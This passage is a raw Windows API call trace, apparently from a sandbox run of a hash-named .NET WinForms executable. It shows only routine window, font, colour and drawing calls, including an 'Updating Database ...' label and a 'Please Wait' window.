0x772ab0ac [0086.824] GetWindowLongPtrW (hWnd=0x700a8, nIndex=-4) returned 0x1fe17ac [0086.824] GetWindowLongPtrW (hWnd=0x700a8, nIndex=-16) returned 0x6c10000 [0086.827] RegisterClipboardFormatW (lpszFormat="WinFormsMouseEnter") returned 0xc1cd [0086.829] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x700a8, Msg=0x24, wParam=0x0, lParam=0x15df10) returned 0x0 [0086.829] RegisterClipboardFormatW (lpszFormat="WinFormsUnSubclass") returned 0xc1d0 [0086.829] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x700a8, Msg=0x81, wParam=0x0, lParam=0x15de90) returned 0x1 [0086.829] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x700a8, Msg=0x83, wParam=0x0, lParam=0x15df30) returned 0x0 [0086.831] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x700a8, Msg=0x1, wParam=0x0, lParam=0x15de90) returned 0x0 [0086.835] GetClientRect (in: hWnd=0x700a8, lpRect=0x15d6e0 | out: lpRect=0x15d6e0) returned 1 [0086.836] GetWindowRect (in: hWnd=0x700a8, lpRect=0x15d6e0 | out: lpRect=0x15d6e0) returned 1 [0086.844] GetParent (hWnd=0x700a8) returned 0x0 [0086.847] DeactivateActCtx (dwFlags=0x0, ulCookie=0x11b3b14d00000001) returned 1 [0087.103] AdjustWindowRectEx (in: lpRect=0x15ea30, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x15ea30) returned 1 [0087.111] AdjustWindowRectEx (in: lpRect=0x15ea20, dwStyle=0x56010000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x15ea20) returned 1 [0087.115] AdjustWindowRectEx (in: lpRect=0x15ea20, dwStyle=0x56010000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x15ea20) returned 1 [0087.267] GetCurrentProcessId () returned 0xebc [0087.275] FindAtomW (lpString="GDI+Atom_3772_1") returned 0x0 [0087.986] GdiplusStartup (in: token=0x15d998, input=0x15d9b0, output=0x15d988 | out: token=0x15d998, output=0x15d988) returned 0x0 [0088.005] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0x15ea90) returned 0x0 [0101.176] GdipCreateFont (fontFamily=0x1c5a2a80, emSize=0x0, style=1, unit=0x3, font=0x15ea30) returned 0x0 [0101.176] GdipGetFontSize (font=0x1dc0a4d0, size=0x15eac0) returned 0x0 [0101.194] GetSystemDefaultLCID () returned 0x409 [0101.195] GetStockObject (i=17) returned 0x18a0025 [0101.205] GetObjectW (in: h=0x18a0025, c=92, pv=0x15e860 | out: pv=0x15e860) returned 92 [0101.207] GetDC (hWnd=0x0) returned 0x1010b9d [0101.212] GdipCreateFontFromLogfontW (hdc=0x1010b9d, logfont=0x4d9ec0, font=0x15e878) returned 0x0 [0101.223] GdipGetFontUnit (font=0x1dc0a510, unit=0x15e780) returned 0x0 [0101.223] GdipGetFontSize (font=0x1dc0a510, size=0x15e780) returned 0x0 [0101.224] GdipGetFontStyle (font=0x1dc0a510, style=0x15e780) returned 0x0 [0101.225] GdipGetFamily (font=0x1dc0a510, family=0x15e780) returned 0x0 [0101.226] GdipGetFontSize (font=0x1dc0a510, size=0x15e6e0) returned 0x0 [0101.227] ReleaseDC (hWnd=0x0, hDC=0x1010b9d) returned 1 [0101.233] GetDC (hWnd=0x0) returned 0x1010b9d [0101.234] GdipCreateFromHDC (hdc=0x1010b9d, graphics=0x15e840) returned 0x0 [0101.242] GdipGetDpiY (graphics=0x1dc21b40, dpi=0x266c138) returned 0x0 [0101.245] GdipGetFontHeight (font=0x1dc0a510, graphics=0x1dc21b40, height=0x15e810) returned 0x0 [0101.247] GdipGetEmHeight (family=0x1c5a2a80, style=0, EmHeight=0x15e830) returned 0x0 [0101.248] GdipGetLineSpacing (family=0x1c5a2a80, style=0, LineSpacing=0x15e830) returned 0x0 [0101.253] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0101.253] GdipDeleteGraphics (graphics=0x1dc21b40) returned 0x0 [0101.253] ReleaseDC (hWnd=0x0, hDC=0x1010b9d) returned 1 [0101.256] GdipCreateFont (fontFamily=0x1c5a2a80, emSize=0x0, style=0, unit=0x3, font=0x15e8d0) returned 0x0 [0101.256] GdipGetFontSize (font=0x1dc0a550, size=0x15e960) returned 0x0 [0101.258] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0101.259] GdipDeleteFont (font=0x1dc0a510) returned 0x0 [0101.307] AdjustWindowRectEx (in: lpRect=0x15e8f0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x15e8f0) returned 1 [0101.327] GetProcessWindowStation () returned 0x44 [0101.329] GetUserObjectInformationA (in: hObj=0x44, nIndex=1, pvInfo=0x266e7b8, nLength=0xc, lpnLengthNeeded=0x15e4d0 | out: pvInfo=0x266e7b8, lpnLengthNeeded=0x15e4d0) returned 1 [0101.332] SetConsoleCtrlHandler (HandlerRoutine=0x1fe192c, Add=1) returned 1 [0101.334] GetModuleHandleW (lpModuleName=0x0) returned 0x260000 [0101.334] GetModuleHandleW (lpModuleName=0x0) returned 0x260000 [0101.336] GetClassInfoW (in: hInstance=0x260000, lpClassName=".NET-BroadcastEventWindow.2.0.0.0.33c0d9d.0", lpWndClass=0x266e840 | out: lpWndClass=0x266e840) returned 0 [0101.340] CoTaskMemAlloc (cb=0x58) returned 0x4ae810 [0101.340] RegisterClassW (lpWndClass=0x15e3f0) returned 0xc1d2 [0101.340] CoTaskMemFree (pv=0x4ae810) [0101.342] CreateWindowExW (dwExStyle=0x0, lpClassName=".NET-BroadcastEventWindow.2.0.0.0.33c0d9d.0", lpWindowName=".NET-BroadcastEventWindow.2.0.0.0.33c0d9d.0", dwStyle=0x80000000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x260000, lpParam=0x0) returned 0x90050 [0101.344] NtdllDefWindowProc_W () returned 0x1 [0101.346] NtdllDefWindowProc_W () returned 0x0 [0101.346] NtdllDefWindowProc_W () returned 0x0 [0101.346] NtdllDefWindowProc_W () returned 0x0 [0101.346] NtdllDefWindowProc_W () returned 0x0 [0101.349] GetSysColor (nIndex=10) returned 0xb4b4b4 [0101.350] GetSysColor (nIndex=2) returned 0xd1b499 [0101.350] GetSysColor (nIndex=9) returned 0x0 [0101.350] GetSysColor (nIndex=12) returned 0xababab [0101.350] GetSysColor (nIndex=15) returned 0xf0f0f0 [0101.350] GetSysColor (nIndex=20) returned 0xffffff [0101.350] GetSysColor (nIndex=16) returned 0xa0a0a0 [0101.350] GetSysColor (nIndex=15) returned 0xf0f0f0 [0101.350] GetSysColor (nIndex=16) returned 0xa0a0a0 [0101.350] GetSysColor (nIndex=21) returned 0x696969 [0101.350] GetSysColor (nIndex=22) returned 0xe3e3e3 [0101.350] GetSysColor (nIndex=20) returned 0xffffff [0101.350] GetSysColor (nIndex=18) returned 0x0 [0101.350] GetSysColor (nIndex=1) returned 0x0 [0101.350] GetSysColor (nIndex=27) returned 0xead1b9 [0101.351] GetSysColor (nIndex=28) returned 0xf2e4d7 [0101.351] GetSysColor (nIndex=17) returned 0x6d6d6d [0101.351] GetSysColor (nIndex=13) returned 0xff9933 [0101.351] GetSysColor (nIndex=14) returned 0xffffff [0101.351] GetSysColor (nIndex=26) returned 0xcc6600 [0101.351] GetSysColor (nIndex=11) returned 0xfcf7f4 [0101.351] GetSysColor (nIndex=3) returned 0xdbcdbf [0101.351] GetSysColor (nIndex=19) returned 0x544e43 [0101.351] GetSysColor (nIndex=24) returned 0xe1ffff [0101.351] GetSysColor (nIndex=23) returned 0x0 [0101.351] GetSysColor (nIndex=4) returned 0xf0f0f0 [0101.351] GetSysColor (nIndex=30) returned 0xf0f0f0 [0101.351] GetSysColor (nIndex=29) returned 0xff9933 [0101.351] GetSysColor (nIndex=7) returned 0x0 [0101.351] GetSysColor (nIndex=0) returned 0xc8c8c8 [0101.351] GetSysColor (nIndex=5) returned 0xffffff [0101.351] GetSysColor (nIndex=6) returned 0x646464 [0101.351] GetSysColor (nIndex=8) returned 0x0 [0101.401] AdjustWindowRectEx (in: lpRect=0x15e8f0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x15e8f0) returned 1 [0101.556] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\fc61c3cbae6f6926294861aded1750af4c5019daae532e531f35dd575071c87a.config", nBufferLength=0x105, lpBuffer=0x15e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\fc61c3cbae6f6926294861aded1750af4c5019daae532e531f35dd575071c87a.config", lpFilePart=0x0) returned 0x62 [0101.557] SetErrorMode (uMode=0x1) returned 0x0 [0101.557] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\fc61c3cbae6f6926294861aded1750af4c5019daae532e531f35dd575071c87a.config" (normalized: "c:\\users\\keecfmwgj\\desktop\\fc61c3cbae6f6926294861aded1750af4c5019daae532e531f35dd575071c87a.config"), fInfoLevelId=0x0, lpFileInformation=0x15e770 | out: lpFileInformation=0x15e770*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0101.557] SetErrorMode (uMode=0x0) returned 0x1 [0102.325] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3fc00, lpName=0x0) returned 0x1a0 [0104.035] GdipImageForceValidation (image=0x1dc21b40) returned 0x0 [0104.037] GdipGetImageType (image=0x1dc21b40, type=0x15dbe0) returned 0x0 [0104.039] GdipGetImageRawFormat (image=0x1dc21b40, format=0x15da80*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0 [0104.091] GdipImageGetFrameDimensionsCount (image=0x1dc21b40, count=0x15da00) returned 0x0 [0104.092] LocalAlloc (uFlags=0x0, uBytes=0x10) returned 0x1af46c20 [0104.094] GdipImageGetFrameDimensionsList (image=0x1dc21b40, dimensionIDs=0x1af46c20*(Data1=0x41006c, Data2=0x4e, Data3=0x4f, Data4=([0]=0x43, [1]=0x0, [2]=0x41, [3]=0x0, [4]=0x43, [5]=0x0, [6]=0x48, [7]=0x0)), count=0x1) returned 0x0 [0104.100] LocalFree (hMem=0x1af46c20) returned 0x0 [0104.295] GdipImageGetFrameCount (image=0x1dc21b40, dimensionID=0x15da70*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), count=0x26cf0c8) returned 0x0 [0104.312] AdjustWindowRectEx (in: lpRect=0x15e970, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x15e970) returned 1 [0104.312] AdjustWindowRectEx (in: lpRect=0x15e970, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x15e970) returned 1 [0104.451] AdjustWindowRectEx (in: lpRect=0x15e940, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x15e940) returned 1 [0104.455] GdipGetImageWidth (image=0x1dc21b40, width=0x15e950) returned 0x0 [0104.457] GdipGetImageHeight (image=0x1dc21b40, height=0x15e950) returned 0x0 [0104.492] GdipLoadImageFromStream (stream=0x44ffa0, image=0x15dbc8) returned 0x0 [0104.496] GdipImageForceValidation (image=0x1de43470) returned 0x0 [0104.502] GdipGetImageType (image=0x1de43470, type=0x15dbe0) returned 0x0 [0104.502] GdipGetImageRawFormat (image=0x1de43470, format=0x15da80*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0 [0104.502] AdjustWindowRectEx (in: lpRect=0x15e970, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x15e970) returned 1 [0104.503] AdjustWindowRectEx (in: lpRect=0x15e970, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x15e970) returned 1 [0104.503] AdjustWindowRectEx (in: lpRect=0x15e940, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x15e940) returned 1 [0104.503] GdipGetImageWidth (image=0x1de43470, width=0x15e950) returned 0x0 [0104.503] GdipGetImageHeight (image=0x1de43470, height=0x15e950) returned 0x0 [0104.636] AdjustWindowRectEx (in: lpRect=0x15e9e0, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x15e9e0) returned 1 [0104.637] GetSystemMetrics (nIndex=59) returned 1460 [0104.637] GetSystemMetrics (nIndex=60) returned 920 [0104.637] GetSystemMetrics (nIndex=34) returned 132 [0104.637] GetSystemMetrics (nIndex=35) returned 38 [0104.637] AdjustWindowRectEx (in: lpRect=0x15e660, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x15e660) returned 1 [0104.652] GetCurrentThreadId () returned 0xec0 [0104.652] GetCurrentThreadId () returned 0xec0 [0104.983] GetCurrentThreadId () returned 0xec0 [0104.983] GetCurrentThreadId () returned 0xec0 [0104.985] AdjustWindowRectEx (in: lpRect=0x15e690, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x15e690) returned 1 [0104.987] CoTaskMemAlloc (cb=0x44) returned 0x501ab0 [0104.987] GdipGetFamilyName (in: family=0x1c5a2a80, name=0x501ab0, language=0x409 | out: name="Microsoft Sans Serif") returned 0x0 [0104.987] CoTaskMemFree (pv=0x501ab0) [0104.988] CreateCompatibleDC (hdc=0x0) returned 0x4101018c [0104.989] GetCurrentObject (hdc=0x4101018c, type=0x1) returned 0x1b00017 [0104.989] GetCurrentObject (hdc=0x4101018c, type=0x2) returned 0x1900010 [0104.989] GetCurrentObject (hdc=0x4101018c, type=0x7) returned 0x185000f [0104.989] GetCurrentObject (hdc=0x4101018c, type=0x6) returned 0x18a002e [0105.122] SaveDC (hdc=0x4101018c) returned 1 [0105.123] GetDeviceCaps (hdc=0x4101018c, index=90) returned 96 [0105.124] CreateFontIndirectW (lplf=0x1af46090) returned 0xd0a0b75 [0105.124] GetObjectW (in: h=0xd0a0b75, c=92, pv=0x15e3f0 | out: pv=0x15e3f0) returned 92 [0105.191] GetCurrentObject (hdc=0x4101018c, type=0x6) returned 0x18a002e [0105.191] GetObjectW (in: h=0x18a002e, c=92, pv=0x15e220 | out: pv=0x15e220) returned 92 [0105.193] SelectObject (hdc=0x4101018c, h=0xd0a0b75) returned 0x18a002e [0105.194] GetMapMode (hdc=0x4101018c) returned 1 [0105.195] GetTextMetricsW (in: hdc=0x4101018c, lptm=0x15e250 | out: lptm=0x15e250) returned 1 [0105.197] DrawTextExW (in: hdc=0x4101018c, lpchText="Updating Database ...", cchText=21, lprc=0x15e520, format=0x2400, lpdtp=0x26e9558 | out: lpchText="Updating Database ...", lprc=0x15e520) returned 16 [0105.359] AdjustWindowRectEx (in: lpRect=0x15e680, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x15e680) returned 1 [0105.359] GetCurrentThreadId () returned 0xec0 [0105.359] GetCurrentThreadId () returned 0xec0 [0105.580] AdjustWindowRectEx (in: lpRect=0x15e780, dwStyle=0x2830000, bMenu=0, dwExStyle=0x50200 | out: lpRect=0x15e780) returned 1 [0105.580] AdjustWindowRectEx (in: lpRect=0x15e950, dwStyle=0x2830000, bMenu=0, dwExStyle=0x50200 | out: lpRect=0x15e950) returned 1 [0105.580] GetSystemMetrics (nIndex=59) returned 1460 [0105.580] GetSystemMetrics (nIndex=60) returned 920 [0105.580] GetSystemMetrics (nIndex=34) returned 132 [0105.580] GetSystemMetrics (nIndex=35) returned 38 [0105.580] AdjustWindowRectEx (in: lpRect=0x15e400, dwStyle=0x2830000, bMenu=0, dwExStyle=0x50200 | out: lpRect=0x15e400) returned 1 [0105.580] AdjustWindowRectEx (in: lpRect=0x15e5d0, dwStyle=0x2830000, bMenu=0, dwExStyle=0x50200 | out: lpRect=0x15e5d0) returned 1 [0105.651] CreateCompatibleDC (hdc=0x0) returned 0x46010b7b [0105.653] GetDC (hWnd=0x0) returned 0x1010b9d [0105.653] GdipCreateFromHDC (hdc=0x1010b9d, graphics=0x15e590) returned 0x0 [0105.654] GdipGetLogFontW (font=0x1dc0a550, graphics=0x1de45cf0, logfontW=0x1af46090) returned 0x0 [0105.655] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0105.655] GdipDeleteGraphics (graphics=0x1de45cf0) returned 0x0 [0105.655] ReleaseDC (hWnd=0x0, hDC=0x1010b9d) returned 1 [0105.656] CreateFontIndirectW (lplf=0x1af46090) returned 0x6c0a08a0 [0105.656] SelectObject (hdc=0x46010b7b, h=0x6c0a08a0) returned 0x18a002e [0105.660] GetTextMetricsW (in: hdc=0x46010b7b, lptm=0x15e730 | out: lptm=0x15e730) returned 1 [0105.660] GetTextExtentPoint32W (in: hdc=0x46010b7b, lpString="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", c=52, psizl=0x26eeee8 | out: psizl=0x26eeee8) returned 1 [0105.661] SelectObject (hdc=0x46010b7b, h=0x18a002e) returned 0x6c0a08a0 [0105.661] DeleteDC (hdc=0x46010b7b) returned 1 [0105.666] AdjustWindowRectEx (in: lpRect=0x15e570, dwStyle=0x2c00000, bMenu=0, dwExStyle=0x10201 | out: lpRect=0x15e570) returned 1 [0105.666] GetCursorPos (in: lpPoint=0x26eef20 | out: lpPoint=0x26eef20*(x=768, y=562)) returned 1 [0105.666] GetSystemMetrics (nIndex=80) returned 1 [0105.679] MonitorFromPoint (pt=0x23200000300, dwFlags=0x2) returned 0x10001 [0105.735] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x15e3c0 | out: lpmi=0x15e3c0) returned 1 [0105.737] CreateDCW (pwszDriver="\\\\.\\DISPLAY1", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0x48010b7b [0105.738] GetDeviceCaps (hdc=0x48010b7b, index=12) returned 32 [0105.738] GetDeviceCaps (hdc=0x48010b7b, index=14) returned 1 [0105.739] DeleteDC (hdc=0x48010b7b) returned 1 [0105.739] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x15e4c0 | out: lpmi=0x15e4c0) returned 1 [0105.739] AdjustWindowRectEx (in: lpRect=0x15e740, dwStyle=0x2c00000, bMenu=0, dwExStyle=0x10201 | out: lpRect=0x15e740) returned 1 [0105.910] AdjustWindowRectEx (in: lpRect=0x15e400, dwStyle=0x2c00000, bMenu=0, dwExStyle=0x10201 | out: lpRect=0x15e400) returned 1 [0105.910] GetCursorPos (in: lpPoint=0x26ef380 | out: lpPoint=0x26ef380*(x=608, y=722)) returned 1 [0105.910] MonitorFromPoint (pt=0x2d200000260, dwFlags=0x2) returned 0x10001 [0105.910] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x15e250 | out: lpmi=0x15e250) returned 1 [0105.910] CreateDCW (pwszDriver="\\\\.\\DISPLAY1", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0x49010b7b [0105.911] GetDeviceCaps (hdc=0x49010b7b, index=12) returned 32 [0105.911] GetDeviceCaps (hdc=0x49010b7b, index=14) returned 1 [0105.911] DeleteDC (hdc=0x49010b7b) returned 1 [0105.911] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x15e350 | out: lpmi=0x15e350) returned 1 [0105.911] AdjustWindowRectEx (in: lpRect=0x15e5d0, dwStyle=0x2c00000, bMenu=0, dwExStyle=0x10201 | out: lpRect=0x15e5d0) returned 1 [0105.913] GetSystemMetrics (nIndex=34) returned 132 [0105.913] GetSystemMetrics (nIndex=35) returned 38 [0105.914] AdjustWindowRectEx (in: lpRect=0x15e6e0, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x15e6e0) returned 1 [0105.915] AdjustWindowRectEx (in: lpRect=0x15e600, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x15e600) returned 1 [0105.915] AdjustWindowRectEx (in: lpRect=0x15e6e0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x15e6e0) returned 1 [0105.915] AdjustWindowRectEx (in: lpRect=0x15e600, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x15e600) returned 1 [0105.915] AdjustWindowRectEx (in: lpRect=0x15e3a0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x15e3a0) returned 1 [0105.915] AdjustWindowRectEx (in: lpRect=0x15e6e0, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x15e6e0) returned 1 [0105.915] AdjustWindowRectEx (in: lpRect=0x15e600, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x15e600) returned 1 [0106.035] AdjustWindowRectEx (in: lpRect=0x15e580, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x15e580) returned 1 [0106.035] GdipGetImageWidth (image=0x1de43470, width=0x15e590) returned 0x0 [0106.036] GdipGetImageHeight (image=0x1de43470, height=0x15e590) returned 0x0 [0106.036] AdjustWindowRectEx (in: lpRect=0x15e580, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x15e580) returned 1 [0106.036] GdipGetImageWidth (image=0x1dc21b40, width=0x15e590) returned 0x0 [0106.037] GdipGetImageHeight (image=0x1dc21b40, height=0x15e590) returned 0x0 [0106.288] GetCurrentActCtx (in: lphActCtx=0x15ec60 | out: lphActCtx=0x15ec60*=0x0) returned 1 [0106.288] ActivateActCtx (in: hActCtx=0x4f3c68, lpCookie=0x15eca0 | out: hActCtx=0x4f3c68, lpCookie=0x15eca0) returned 1 [0106.298] GetCurrentActCtx (in: lphActCtx=0x15e6c0 | out: lphActCtx=0x15e6c0*=0x4f3c68) returned 1 [0106.299] AdjustWindowRectEx (in: lpRect=0x15e570, dwStyle=0x2c00000, bMenu=0, dwExStyle=0x10201 | out: lpRect=0x15e570) returned 1 [0106.299] GetCursorPos (in: lpPoint=0x26ef9c0 | out: lpPoint=0x26ef9c0*(x=398, y=818)) returned 1 [0106.299] MonitorFromPoint (pt=0x3320000018e, dwFlags=0x2) returned 0x10001 [0106.300] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x15e3c0 | out: lpmi=0x15e3c0) returned 1 [0106.300] CreateDCW (pwszDriver="\\\\.\\DISPLAY1", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0x4a010b7b [0106.301] GetDeviceCaps (hdc=0x4a010b7b, index=12) returned 32 [0106.301] GetDeviceCaps (hdc=0x4a010b7b, index=14) returned 1 [0106.301] DeleteDC (hdc=0x4a010b7b) returned 1 [0106.301] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x15e4c0 | out: lpmi=0x15e4c0) returned 1 [0106.301] GetModuleHandleW (lpModuleName=0x0) returned 0x260000 [0106.301] CreateWindowExW (dwExStyle=0x10201, lpClassName="WindowsForms10.Window.8.app.0.33c0d9d", lpWindowName="Please Wait", dwStyle=0x2c00000, X=582, Y=258, nWidth=276, nHeight=344, hWndParent=0x0, hMenu=0x0, hInstance=0x260000, lpParam=0x0) returned 0x702f6 [0106.302] SetWindowLongPtrW (hWnd=0x702f6, nIndex=-4, dwNewLong=0x772ab0ac) returned 0x1fe175c [0106.303] GetWindowLongPtrW (hWnd=0x702f6, nIndex=-4) returned 0x772ab0ac [0106.304] SetWindowLongPtrW (hWnd=0x702f6, nIndex=-4, dwNewLong=0x1ff502c) returned 0x772ab0ac [0106.304] GetWindowLongPtrW (hWnd=0x702f6, nIndex=-4) returned 0x1ff502c [0106.304] GetWindowLongPtrW (hWnd=0x702f6, nIndex=-16) returned 0x6c00000 [0106.308] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x81, wParam=0x0, lParam=0x15dd60) returned 0x1 [0106.308] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x83, wParam=0x0, lParam=0x15de00) returned 0x0 [0107.126] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x1, wParam=0x0, lParam=0x15dd30) returned 0x0 [0107.126] GetClientRect (in: hWnd=0x702f6, lpRect=0x15d540 | out: lpRect=0x15d540) returned 1 [0107.126] GetWindowRect (in: hWnd=0x702f6, lpRect=0x15d540 | out: lpRect=0x15d540) returned 1 [0107.131] SetWindowTextW (hWnd=0x702f6, lpString="Please Wait") returned 1 [0107.131] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0xc, wParam=0x0, lParam=0x26ee7e0) returned 0x1 [0107.136] GetStartupInfoW (in: lpStartupInfo=0x26eff50 | out: lpStartupInfo=0x26eff50*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\kEecfMwgj\\Desktop\\fc61c3cbae6f6926294861aded1750af4c5019daae532e531f35dd575071c87a.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0107.137] GetParent (hWnd=0x702f6) returned 0x0 [0107.139] GetStockObject (i=5) returned 0x1900015 [0107.139] GetModuleHandleW (lpModuleName=0x0) returned 0x260000 [0107.140] CoTaskMemAlloc (cb=0x4c) returned 0x1af96f50 [0107.140] RegisterClassW (lpWndClass=0x15e370) returned 0xc1d3 [0107.140] CoTaskMemFree (pv=0x1af96f50) [0107.140] GetModuleHandleW (lpModuleName=0x0) returned 0x260000 [0107.141] CreateWindowExW (dwExStyle=0x80, lpClassName="WindowsForms10.Window.0.app.0.33c0d9d", lpWindowName=0x0, dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x260000, lpParam=0x0) returned 0x602f8 [0107.141] SetWindowLongPtrW (hWnd=0x602f8, nIndex=-4, dwNewLong=0x772ab0ac) returned 0x1ff507c [0107.141] GetWindowLongPtrW (hWnd=0x602f8, nIndex=-4) returned 0x772ab0ac [0107.142] SetWindowLongPtrW (hWnd=0x602f8, nIndex=-4, dwNewLong=0x1ff50cc) returned 0x772ab0ac [0107.142] GetWindowLongPtrW (hWnd=0x602f8, nIndex=-4) returned 0x1ff50cc [0107.142] GetWindowLongPtrW (hWnd=0x602f8, nIndex=-16) returned 0x4c00000 [0107.142] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x602f8, Msg=0x24, wParam=0x0, lParam=0x15ddb0) returned 0x0 [0107.142] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x602f8, Msg=0x81, wParam=0x0, lParam=0x15dd30) returned 0x1 [0107.142] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x602f8, Msg=0x83, wParam=0x0, lParam=0x15ddd0) returned 0x0 [0107.142] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x602f8, Msg=0x1, wParam=0x0, lParam=0x15dd30) returned 0x0 [0107.142] SetWindowLongPtrW (hWnd=0x702f6, nIndex=-8, dwNewLong=0x602f8) returned 0x0 [0107.145] SendMessageW (hWnd=0x702f6, Msg=0x80, wParam=0x0, lParam=0x0) returned 0x0 [0107.145] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x80, wParam=0x0, lParam=0x0) returned 0x0 [0107.145] SendMessageW (hWnd=0x702f6, Msg=0x80, wParam=0x1, lParam=0x0) returned 0x0 [0107.145] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x80, wParam=0x1, lParam=0x0) returned 0x0 [0107.153] GetSystemMenu (hWnd=0x702f6, bRevert=0) returned 0x0 [0107.155] GetWindowPlacement (in: hWnd=0x702f6, lpwndpl=0x15e580 | out: lpwndpl=0x15e580) returned 1 [0107.156] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0107.156] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf030, uEnable=0x1) returned 1 [0107.156] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf060, uEnable=0x1) returned 1 [0107.156] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf120, uEnable=0x1) returned 1 [0107.156] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf000, uEnable=0x1) returned 1 [0107.158] GetClientRect (in: hWnd=0x702f6, lpRect=0x15e6a0 | out: lpRect=0x15e6a0) returned 1 [0107.158] GetClientRect (in: hWnd=0x702f6, lpRect=0x15e580 | out: lpRect=0x15e580) returned 1 [0107.158] GetWindowRect (in: hWnd=0x702f6, lpRect=0x15e580 | out: lpRect=0x15e580) returned 1 [0107.159] SetWindowLongPtrW (hWnd=0x702f6, nIndex=-8, 